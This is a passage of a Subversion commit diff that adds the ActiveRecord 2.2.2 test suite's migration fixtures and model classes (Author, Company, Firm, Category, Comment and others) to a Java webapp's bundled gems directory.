+class Chunky < ActiveRecord::Migration
+  def self.up
+  end
+
+  def self.down
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/interleaved/pass_1/3_innocent_jointable.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/interleaved/pass_1/3_innocent_jointable.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/interleaved/pass_1/3_innocent_jointable.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,12 @@
+class InnocentJointable < ActiveRecord::Migration
+  def self.up
+    create_table("people_reminders", :id => false) do |t|
+      t.column :reminder_id, :integer
+      t.column :person_id, :integer
+    end
+  end
+
+  def self.down
+    drop_table "people_reminders"
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/interleaved/pass_2/1_people_have_last_names.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/interleaved/pass_2/1_people_have_last_names.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/interleaved/pass_2/1_people_have_last_names.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,9 @@
+class PeopleHaveLastNames < ActiveRecord::Migration
+  def self.up
+    add_column "people", "last_name", :string
+  end
+
+  def self.down
+    remove_column "people", "last_name"
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/interleaved/pass_2/3_innocent_jointable.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/interleaved/pass_2/3_innocent_jointable.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/interleaved/pass_2/3_innocent_jointable.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,12 @@
+class InnocentJointable < ActiveRecord::Migration
+  def self.up
+    create_table("people_reminders", :id => false) do |t|
+      t.column :reminder_id, :integer
+      t.column :person_id, :integer
+    end
+  end
+
+  def self.down
+    drop_table "people_reminders"
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/interleaved/pass_3/1_people_have_last_names.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/interleaved/pass_3/1_people_have_last_names.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/interleaved/pass_3/1_people_have_last_names.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,9 @@
+class PeopleHaveLastNames < ActiveRecord::Migration
+  def self.up
+    add_column "people", "last_name", :string
+  end
+
+  def self.down
+    remove_column "people", "last_name"
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/interleaved/pass_3/2_i_raise_on_down.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/interleaved/pass_3/2_i_raise_on_down.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/interleaved/pass_3/2_i_raise_on_down.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,8 @@
+class IRaiseOnDown < ActiveRecord::Migration
+  def self.up
+  end
+
+  def self.down
+    raise
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/interleaved/pass_3/3_innocent_jointable.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/interleaved/pass_3/3_innocent_jointable.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/interleaved/pass_3/3_innocent_jointable.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,12 @@
+class InnocentJointable < ActiveRecord::Migration
+  def self.up
+    create_table("people_reminders", :id => false) do |t|
+      t.column :reminder_id, :integer
+      t.column :person_id, :integer
+    end
+  end
+
+  def self.down
+    drop_table "people_reminders"
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/missing/1000_people_have_middle_names.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/missing/1000_people_have_middle_names.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/missing/1000_people_have_middle_names.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,9 @@
+class PeopleHaveMiddleNames < ActiveRecord::Migration
+  def self.up
+    add_column "people", "middle_name", :string
+  end
+
+  def self.down
+    remove_column "people", "middle_name"
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/missing/1_people_have_last_names.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/missing/1_people_have_last_names.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/missing/1_people_have_last_names.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,9 @@
+class PeopleHaveLastNames < ActiveRecord::Migration
+  def self.up
+    add_column "people", "last_name", :string
+  end
+
+  def self.down
+    remove_column "people", "last_name"
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/missing/3_we_need_reminders.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/missing/3_we_need_reminders.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/missing/3_we_need_reminders.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,12 @@
+class WeNeedReminders < ActiveRecord::Migration
+  def self.up
+    create_table("reminders") do |t|
+      t.column :content, :text
+      t.column :remind_at, :datetime
+    end
+  end
+
+  def self.down
+    drop_table "reminders"
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/missing/4_innocent_jointable.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/missing/4_innocent_jointable.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/missing/4_innocent_jointable.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,12 @@
+class InnocentJointable < ActiveRecord::Migration
+  def self.up
+    create_table("people_reminders", :id => false) do |t|
+      t.column :reminder_id, :integer
+      t.column :person_id, :integer
+    end
+  end
+
+  def self.down
+    drop_table "people_reminders"
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/valid/1_people_have_last_names.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/valid/1_people_have_last_names.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/valid/1_people_have_last_names.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,9 @@
+class PeopleHaveLastNames < ActiveRecord::Migration
+  def self.up
+    add_column "people", "last_name", :string
+  end
+
+  def self.down
+    remove_column "people", "last_name"
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/valid/2_we_need_reminders.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/valid/2_we_need_reminders.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/valid/2_we_need_reminders.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,12 @@
+class WeNeedReminders < ActiveRecord::Migration
+  def self.up
+    create_table("reminders") do |t|
+      t.column :content, :text
+      t.column :remind_at, :datetime
+    end
+  end
+
+  def self.down
+    drop_table "reminders"
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/valid/3_innocent_jointable.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/valid/3_innocent_jointable.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/migrations/valid/3_innocent_jointable.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,12 @@
+class InnocentJointable < ActiveRecord::Migration
+  def self.up
+    create_table("people_reminders", :id => false) do |t|
+      t.column :reminder_id, :integer
+      t.column :person_id, :integer
+    end
+  end
+
+  def self.down
+    drop_table "people_reminders"
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/author.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/author.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/author.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,140 @@
+class Author < ActiveRecord::Base
+  has_many :posts
+  has_many :posts_with_comments, :include => :comments, :class_name => "Post"
+  has_many :posts_with_comments_sorted_by_comment_id, :include => :comments, :class_name => "Post", :order => 'comments.id'
+  has_many :posts_sorted_by_id_limited, :class_name => "Post", :order => 'posts.id', :limit => 1
+  has_many :posts_with_categories, :include => :categories, :class_name => "Post"
+  has_many :posts_with_comments_and_categories, :include => [ :comments, :categories ], :order => "posts.id", :class_name => "Post"
+  has_many :posts_containing_the_letter_a, :class_name => "Post"
+  has_many :posts_with_extension, :class_name => "Post" do #, :extend => ProxyTestExtension
+    def testing_proxy_owner
+      proxy_owner
+    end
+    def testing_proxy_reflection
+      proxy_reflection
+    end
+    def testing_proxy_target
+      proxy_target
+    end
+  end
+  has_one  :post_about_thinking, :class_name => 'Post', :conditions => "posts.title like '%thinking%'"
+  has_one  :post_about_thinking_with_last_comment, :class_name => 'Post', :conditions => "posts.title like '%thinking%'", :include => :last_comment
+  has_many :comments, :through => :posts
+  has_many :comments_containing_the_letter_e, :through => :posts, :source => :comments
+  has_many :comments_with_order_and_conditions, :through => :posts, :source => :comments, :order => 'comments.body', :conditions => "comments.body like 'Thank%'"
+  has_many :comments_with_include, :through => :posts, :source => :comments, :include => :post
+
+
+  has_many :comments_desc, :through => :posts, :source => :comments, :order => 'comments.id DESC'
+  has_many :limited_comments, :through => :posts, :source => :comments, :limit => 1
+  has_many :funky_comments, :through => :posts, :source => :comments
+  has_many :ordered_uniq_comments, :through => :posts, :source => :comments, :uniq => true, :order => 'comments.id'
+  has_many :ordered_uniq_comments_desc, :through => :posts, :source => :comments, :uniq => true, :order => 'comments.id DESC'
+  has_many :readonly_comments, :through => :posts, :source => :comments, :readonly => true
+  
+  has_many :special_posts
+  has_many :special_post_comments, :through => :special_posts, :source => :comments
+
+  has_many :sti_posts, :class_name => 'StiPost'
+  has_many :sti_post_comments, :through => :sti_posts, :source => :comments
+
+  has_many :special_nonexistant_posts, :class_name => "SpecialPost", :conditions => "posts.body = 'nonexistant'"
+  has_many :special_nonexistant_post_comments, :through => :special_nonexistant_posts, :source => :comments, :conditions => "comments.post_id = 0"
+  has_many :nonexistant_comments, :through => :posts
+
+  has_many :hello_posts, :class_name => "Post", :conditions => "posts.body = 'hello'"
+  has_many :hello_post_comments, :through => :hello_posts, :source => :comments
+  has_many :posts_with_no_comments, :class_name => 'Post', :conditions => 'comments.id is null', :include => :comments
+
+  has_many :hello_posts_with_hash_conditions, :class_name => "Post",
+:conditions => {:body => 'hello'}
+  has_many :hello_post_comments_with_hash_conditions, :through =>
+:hello_posts_with_hash_conditions, :source => :comments
+
+  has_many :other_posts,          :class_name => "Post"
+  has_many :posts_with_callbacks, :class_name => "Post", :before_add => :log_before_adding,
+           :after_add     => :log_after_adding,
+           :before_remove => :log_before_removing,
+           :after_remove  => :log_after_removing
+  has_many :posts_with_proc_callbacks, :class_name => "Post",
+           :before_add    => Proc.new {|o, r| o.post_log << "before_adding#{r.id || '<new>'}"},
+           :after_add     => Proc.new {|o, r| o.post_log << "after_adding#{r.id || '<new>'}"},
+           :before_remove => Proc.new {|o, r| o.post_log << "before_removing#{r.id}"},
+           :after_remove  => Proc.new {|o, r| o.post_log << "after_removing#{r.id}"}
+  has_many :posts_with_multiple_callbacks, :class_name => "Post",
+           :before_add => [:log_before_adding, Proc.new {|o, r| o.post_log << "before_adding_proc#{r.id || '<new>'}"}],
+           :after_add  => [:log_after_adding,  Proc.new {|o, r| o.post_log << "after_adding_proc#{r.id || '<new>'}"}]
+  has_many :unchangable_posts, :class_name => "Post", :before_add => :raise_exception, :after_add => :log_after_adding
+
+  has_many :categorizations
+  has_many :categories, :through => :categorizations
+
+  has_many :categories_like_general, :through => :categorizations, :source => :category, :class_name => 'Category', :conditions => { :name => 'General' }
+
+  has_many :categorized_posts, :through => :categorizations, :source => :post
+  has_many :unique_categorized_posts, :through => :categorizations, :source => :post, :uniq => true
+
+  has_many :nothings, :through => :kateggorisatons, :class_name => 'Category'
+
+  has_many :author_favorites
+  has_many :favorite_authors, :through => :author_favorites, :order => 'name'
+
+  has_many :tagging,  :through => :posts # through polymorphic has_one
+  has_many :taggings, :through => :posts, :source => :taggings # through polymorphic has_many
+  has_many :tags,     :through => :posts # through has_many :through
+  has_many :post_categories, :through => :posts, :source => :categories
+
+  belongs_to :author_address, :dependent => :destroy
+  belongs_to :author_address_extra, :dependent => :delete, :class_name => "AuthorAddress"
+
+  attr_accessor :post_log
+
+  def after_initialize
+    @post_log = []
+  end
+
+  def label
+    "#{id}-#{name}"
+  end
+
+  private
+    def log_before_adding(object)
+      @post_log << "before_adding#{object.id || '<new>'}"
+    end
+
+    def log_after_adding(object)
+      @post_log << "after_adding#{object.id}"
+    end
+
+    def log_before_removing(object)
+      @post_log << "before_removing#{object.id}"
+    end
+
+    def log_after_removing(object)
+      @post_log << "after_removing#{object.id}"
+    end
+
+    def raise_exception(object)
+      raise Exception.new("You can't add a post")
+    end
+end
+
+class AuthorAddress < ActiveRecord::Base
+  has_one :author
+
+  def self.destroyed_author_address_ids
+    @destroyed_author_address_ids ||= Hash.new { |h,k| h[k] = [] }
+  end
+
+  before_destroy do |author_address|
+    if author_address.author
+      AuthorAddress.destroyed_author_address_ids[author_address.author.id] << author_address.id
+    end
+    true
+  end
+end
+
+class AuthorFavorite < ActiveRecord::Base
+  belongs_to :author
+  belongs_to :favorite_author, :class_name => "Author"
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/auto_id.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/auto_id.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/auto_id.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,4 @@
+class AutoId < ActiveRecord::Base
+  def self.table_name () "auto_id_tests" end
+  def self.primary_key () "auto_id" end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/binary.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/binary.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/binary.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,2 @@
+class Binary < ActiveRecord::Base
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/book.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/book.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/book.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,4 @@
+class Book < ActiveRecord::Base
+  has_many :citations, :foreign_key => 'book1_id'
+  has_many :references, :through => :citations, :source => :reference_of, :uniq => true
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/categorization.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/categorization.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/categorization.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,5 @@
+class Categorization < ActiveRecord::Base
+  belongs_to :post
+  belongs_to :category
+  belongs_to :author
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/category.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/category.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/category.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,33 @@
+class Category < ActiveRecord::Base
+  has_and_belongs_to_many :posts
+  has_and_belongs_to_many :special_posts, :class_name => "Post"
+  has_and_belongs_to_many :other_posts, :class_name => "Post"
+  has_and_belongs_to_many :posts_with_authors_sorted_by_author_id, :class_name => "Post", :include => :authors, :order => "authors.id"
+
+  has_and_belongs_to_many(:select_testing_posts,
+                          :class_name => 'Post',
+                          :foreign_key => 'category_id',
+                          :association_foreign_key => 'post_id',
+                          :select => 'posts.*, 1 as correctness_marker')
+
+  has_and_belongs_to_many :post_with_conditions,
+                          :class_name => 'Post',
+                          :conditions => { :title => 'Yet Another Testing Title' }
+
+  has_and_belongs_to_many :posts_gruoped_by_title, :class_name => "Post", :group => "title", :select => "title"
+
+  def self.what_are_you
+    'a category...'
+  end
+
+  has_many :categorizations
+  has_many :authors, :through => :categorizations, :select => 'authors.*, categorizations.post_id'
+end
+
+class SpecialCategory < Category
+
+  def self.what_are_you
+    'a special category...'
+  end
+
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/citation.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/citation.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/citation.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,6 @@
+class Citation < ActiveRecord::Base
+  belongs_to :reference_of, :class_name => "Book", :foreign_key => :book2_id
+
+  belongs_to :book1, :class_name => "Book", :foreign_key => :book1_id
+  belongs_to :book2, :class_name => "Book", :foreign_key => :book2_id
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/club.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/club.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/club.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,13 @@
+class Club < ActiveRecord::Base
+  has_many :memberships
+  has_many :members, :through => :memberships
+  has_many :current_memberships
+  has_one :sponsor
+  has_one :sponsored_member, :through => :sponsor, :source => :sponsorable, :source_type => "Member"
+
+  private
+
+  def private_method
+    "I'm sorry sir, this is a *private* club, not a *pirate* club"
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/column_name.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/column_name.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/column_name.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+class ColumnName < ActiveRecord::Base
+  def self.table_name () "colnametests" end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/comment.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/comment.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/comment.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,25 @@
+class Comment < ActiveRecord::Base
+  named_scope :containing_the_letter_e, :conditions => "comments.body LIKE '%e%'"
+  
+  belongs_to :post, :counter_cache => true
+
+  def self.what_are_you
+    'a comment...'
+  end
+
+  def self.search_by_type(q)
+    self.find(:all, :conditions => ["#{QUOTED_TYPE} = ?", q])
+  end
+end
+
+class SpecialComment < Comment
+  def self.what_are_you
+    'a special comment...'
+  end
+end
+
+class VerySpecialComment < Comment
+  def self.what_are_you
+    'a very special comment...'
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/company.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/company.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/company.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,156 @@
+class AbstractCompany < ActiveRecord::Base
+  self.abstract_class = true
+end
+
+class Company < AbstractCompany
+  attr_protected :rating
+  set_sequence_name :companies_nonstd_seq
+
+  validates_presence_of :name
+
+  has_one :dummy_account, :foreign_key => "firm_id", :class_name => "Account"
+
+  def arbitrary_method
+    "I am Jack's profound disappointment"
+  end
+
+  private
+
+  def private_method
+    "I am Jack's innermost fears and aspirations"
+  end
+end
+
+module Namespaced
+  class Company < ::Company
+  end
+
+  class Firm < ::Company
+    has_many :clients, :class_name => 'Namespaced::Client'
+  end
+
+  class Client < ::Company
+  end
+end
+
+class Firm < Company
+  has_many :clients, :order => "id", :dependent => :destroy, :counter_sql =>
+      "SELECT COUNT(*) FROM companies WHERE firm_id = 1 " +
+      "AND (#{QUOTED_TYPE} = 'Client' OR #{QUOTED_TYPE} = 'SpecialClient' OR #{QUOTED_TYPE} = 'VerySpecialClient' )"
+  has_many :clients_sorted_desc, :class_name => "Client", :order => "id DESC"
+  has_many :clients_of_firm, :foreign_key => "client_of", :class_name => "Client", :order => "id"
+  has_many :unvalidated_clients_of_firm, :foreign_key => "client_of", :class_name => "Client", :validate => false
+  has_many :dependent_clients_of_firm, :foreign_key => "client_of", :class_name => "Client", :order => "id", :dependent => :destroy
+  has_many :exclusively_dependent_clients_of_firm, :foreign_key => "client_of", :class_name => "Client", :order => "id", :dependent => :delete_all
+  has_many :limited_clients, :class_name => "Client", :order => "id", :limit => 1
+  has_many :clients_like_ms, :conditions => "name = 'Microsoft'", :class_name => "Client", :order => "id"
+  has_many :clients_with_interpolated_conditions, :class_name => "Client", :conditions => 'rating > #{rating}'
+  has_many :clients_like_ms_with_hash_conditions, :conditions => { :name => 'Microsoft' }, :class_name => "Client", :order => "id"
+  has_many :clients_using_sql, :class_name => "Client", :finder_sql => 'SELECT * FROM companies WHERE client_of = #{id}'
+  has_many :clients_using_counter_sql, :class_name => "Client",
+           :finder_sql  => 'SELECT * FROM companies WHERE client_of = #{id}',
+           :counter_sql => 'SELECT COUNT(*) FROM companies WHERE client_of = #{id}'
+  has_many :clients_using_zero_counter_sql, :class_name => "Client",
+           :finder_sql  => 'SELECT * FROM companies WHERE client_of = #{id}',
+           :counter_sql => 'SELECT 0 FROM companies WHERE client_of = #{id}'
+  has_many :no_clients_using_counter_sql, :class_name => "Client",
+           :finder_sql  => 'SELECT * FROM companies WHERE client_of = 1000',
+           :counter_sql => 'SELECT COUNT(*) FROM companies WHERE client_of = 1000'
+  has_many :clients_using_finder_sql, :class_name => "Client", :finder_sql => 'SELECT * FROM companies WHERE 1=1'
+  has_many :plain_clients, :class_name => 'Client'
+  has_many :readonly_clients, :class_name => 'Client', :readonly => true
+  has_many :clients_using_primary_key, :class_name => 'Client',
+           :primary_key => 'name', :foreign_key => 'firm_name'
+  has_many :clients_grouped_by_firm_id, :class_name => "Client", :group => "firm_id", :select => "firm_id"
+  has_many :clients_grouped_by_name, :class_name => "Client", :group => "name", :select => "name"
+
+  has_one :account, :foreign_key => "firm_id", :dependent => :destroy, :validate => true
+  has_one :unvalidated_account, :foreign_key => "firm_id", :class_name => 'Account', :validate => false
+  has_one :account_with_select, :foreign_key => "firm_id", :select => "id, firm_id", :class_name=>'Account'
+  has_one :readonly_account, :foreign_key => "firm_id", :class_name => "Account", :readonly => true
+  has_one :account_using_primary_key, :primary_key => "firm_id", :class_name => "Account"
+end
+
+class DependentFirm < Company
+  has_one :account, :foreign_key => "firm_id", :dependent => :nullify
+  has_many :companies, :foreign_key => 'client_of', :order => "id", :dependent => :nullify
+end
+
+class ExclusivelyDependentFirm < Company
+  has_one :account, :foreign_key => "firm_id", :dependent => :delete
+  has_many :dependent_sanitized_conditional_clients_of_firm, :foreign_key => "client_of", :class_name => "Client", :order => "id", :dependent => :delete_all, :conditions => "name = 'BigShot Inc.'"
+  has_many :dependent_conditional_clients_of_firm, :foreign_key => "client_of", :class_name => "Client", :order => "id", :dependent => :delete_all, :conditions => ["name = ?", 'BigShot Inc.']
+end
+
+class Client < Company
+  belongs_to :firm, :foreign_key => "client_of"
+  belongs_to :firm_with_basic_id, :class_name => "Firm", :foreign_key => "firm_id"
+  belongs_to :firm_with_select, :class_name => "Firm", :foreign_key => "firm_id", :select => "id"
+  belongs_to :firm_with_other_name, :class_name => "Firm", :foreign_key => "client_of"
+  belongs_to :firm_with_condition, :class_name => "Firm", :foreign_key => "client_of", :conditions => ["1 = ?", 1]
+  belongs_to :readonly_firm, :class_name => "Firm", :foreign_key => "firm_id", :readonly => true
+
+  # Record destruction so we can test whether firm.clients.clear has
+  # is calling client.destroy, deleting from the database, or setting
+  # foreign keys to NULL.
+  def self.destroyed_client_ids
+    @destroyed_client_ids ||= Hash.new { |h,k| h[k] = [] }
+  end
+
+  before_destroy do |client|
+    if client.firm
+      Client.destroyed_client_ids[client.firm.id] << client.id
+    end
+    true
+  end
+
+  # Used to test that read and question methods are not generated for these attributes
+  def ruby_type
+    read_attribute :ruby_type
+  end
+
+  def rating?
+    query_attribute :rating
+  end
+
+  class << self
+    private
+
+    def private_method
+      "darkness"
+    end
+  end
+end
+
+
+class SpecialClient < Client
+end
+
+class VerySpecialClient < SpecialClient
+end
+
+class Account < ActiveRecord::Base
+  belongs_to :firm
+
+  def self.destroyed_account_ids
+    @destroyed_account_ids ||= Hash.new { |h,k| h[k] = [] }
+  end
+
+  before_destroy do |account|
+    if account.firm
+      Account.destroyed_account_ids[account.firm.id] << account.id
+    end
+    true
+  end
+
+  protected
+    def validate
+      errors.add_on_empty "credit_limit"
+    end
+
+  private
+
+  def private_method
+    "Sir, yes sir!"
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/company_in_module.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/company_in_module.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/models/company_in_module.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,61 @@
+module MyApplication
+  module Business
+    class Company < ActiveRecord::Base
+      attr_protected :rating
+    end
+
+    class Firm < Company
+      has_many :clients, :order => "id", :dependent => :destroy
+      has_many :clients_sorted_desc, :class_name => "Client", :order => "id DESC"
+      has_many :clients_of_firm, :foreign_key => "client_of", :class_name => "Client", :order => "id"
+      has_many :clients_like_ms, :conditions => "name = 'Microsoft'", :class_name => "Client", :order => "id"
+      has_many :clients_using_sql, :class_name => "Client", :finder_sql => 'SELECT * FROM companies WHERE client_of = #{id}'
+
+      has_one :account, :dependent => :destroy
+    end
+
+    class Client < Company
+      belongs_to :firm, :foreign_key => "client_of"
+      belongs_to :firm_with_other_name, :class_name => "Firm", :foreign_key => "client_of"
+
+      class Contact < ActiveRecord::Base; end
+    end
+
+    class Developer < ActiveRecord::Base
+      has_and_belongs_to_many :projects
+      validates_length_of :name, :within => (3..20)
+    end
+
+    class Project < ActiveRecord::Base
+      has_and_belongs_to_many :developers
+    end
+
+  end
+
+  module Billing
+    class Firm < ActiveRecord::Base
+      self.table_name = 'companies'
+    end
+
+    module Nested
+      class Firm < ActiveRecord::Base
+        self.table_name = 'companies'
+      end
+    end
+
+    class Account < ActiveRecord::Base
+      with_options(:foreign_key => :firm_id) do |i|
